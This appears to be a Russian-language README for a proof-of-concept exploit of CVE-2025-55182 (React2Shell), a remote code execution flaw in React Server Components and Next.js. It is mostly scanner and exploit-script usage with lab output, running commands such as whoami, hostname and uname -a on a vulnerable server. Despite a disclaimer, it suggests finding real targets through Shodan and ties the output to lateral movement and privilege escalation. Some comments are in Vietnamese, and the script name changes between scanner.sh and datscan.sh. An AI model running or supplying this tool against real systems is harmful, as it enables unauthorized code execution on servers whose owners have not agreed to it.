
Proof-of-concept эксплойт для уязвимости CVE-2025-55182 (React2Shell) RCE в React Server Components. Включает сканер уязвимых хостов и shell-скрипт для удалённого выполнения команд. Только для авторизованного тестирования безопасности и образовательных целей.
CVE-2025-55182, также известная как React2Shell, — это критическая уязвимость удалённого выполнения кода (Remote Code Execution, RCE), затрагивающая React Server Components (RSC). Она использует протокол Flight для связи между клиентом и сервером. Когда клиент запрашивает данные, сервер получает payload и анализирует его, что может позволить атакующему внедрить вредоносные структуры или произвольный код, который React принимает как допустимый.
| Пункт | Содержимое |
|---|---|
| Критичность | Critical (CVSS 10.0) |
| Тип | Unsafe Deserialization (CWE-502) |
| Метод атаки | Удалённо, аутентификация не требуется |
| Затронутые версии: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 и Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
Сервер обрабатывает payload от клиента без полной валидации, что позволяет атакующему:
Эксплуатация этой уязвимости была обнаружена 5 декабря 2025 года. Большинство успешных эксплойтов связано с оценочной деятельностью атакующих групп. Затронуты как среды Windows, так и Linux.
Установка
pip install -r requirements.txt
Сканирование уязвимого сервера:
python3 scanner.py -u https://example.com
Введите путь для сканирования (здесь я ввёл свой уязвимый сервер http://192.168.10.1:3000)
Полученный результат:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Сканирование списка серверов:
python3 scanner.py -l hosts.txt
Сканирование в несколько потоков с сохранением результатов:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Сканирование с пользовательскими заголовками:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Сканирование Windows-целей:
python3 scanner.py -u https://example.com --windows
Использование безопасного метода обнаружения по побочному каналу:
python3 scanner.py -u https://example.com --safe-check
Как видите, перед нами уязвимость безопасности, а значит, наш сервер может быть легко атакован злоумышленником.
Теперь воспользуемся Nuclei, чтобы проверить, есть ли на этом сервере уязвимость с готовым PoC. Этот функционал отправляет настраиваемые запросы, снижает количество ложных срабатываний (false positive) и поддерживает параллельное сканирование.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Полученный результат
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
Система обнаружила, что этот сервер уязвим и может быть эксплуатирован через CVE-2025-55182. Отсюда видно, что это довольно опасная и серьёзная уязвимость, по которой уже есть множество PoC на социальных платформах. ☺☺☺
Как видите, этой информации уже достаточно, чтобы подтвердить существование уязвимости в указанном приложении. Чтобы доказать, что данное приложение можно использовать для запуска команды или удалённого выполнения кода, я запущу PoC.
chmod +x scanner.sh
# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com
# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"
# With full URL
./datscan.sh -d example.com -c "uname -a"
Значение:
Возвращает текущего пользователя, под которым запущен серверный процесс.
Помогает определить:
=> Это самая базовая команда для подтверждения успешного RCE.
-d, --domain — domain/URL-c, --command — команда для выполнения (напр.: whoami, hostname,...)# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
Это этап начальной разведки (initial reconnaissance) после успешной эксплуатации.
Позволяет нам подтвердить: RCE работает, определить операционную систему,...
Поскольку в этом эксперименте я демонстрирую работу в личной лабораторной среде, чтобы не нарушать закон, использование HTTP-заголовков для кражи данных, больших выводов или специальных символов может вызывать:
ERR_INVALID_CHAR
Короткие команды (например, whoami, ver) более надёжны для демонстрации в указанной тестовой среде.
Если не хотите, можете использовать Shodan для проверки реальных IP-адресов в реальной среде и повторить описанный выше эксперимент для эксплуатации (не рекомендуется).
Как уже отмечалось выше. Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его для тестирования систем, которыми вы не владеете или на тестирование которых у вас нет разрешения.
| Значение выполняемых команд | Содержимое |
|---|
| Возвращает имя хоста (host name) | Используется для: - идентификации затронутой системы - горизонтального перемещения (lateral movement) во внутренней среде |
| Определяет версию операционной системы | Важно для: - оценки дальнейших возможностей эксплуатации (privilege escalation) - выбора подходящего эксплойта |
| Проверка выполнения команд | Используется для отладки payload / сканера |
| Возвращает текущее имя пользователя | В этом случае: - если пользователь ADMIN → возможно, высокие привилегии - важнее, чем whoami, в некоторых случаях Windows |
| Возвращает имя машины | Возвращает имя машины через переменную окружения |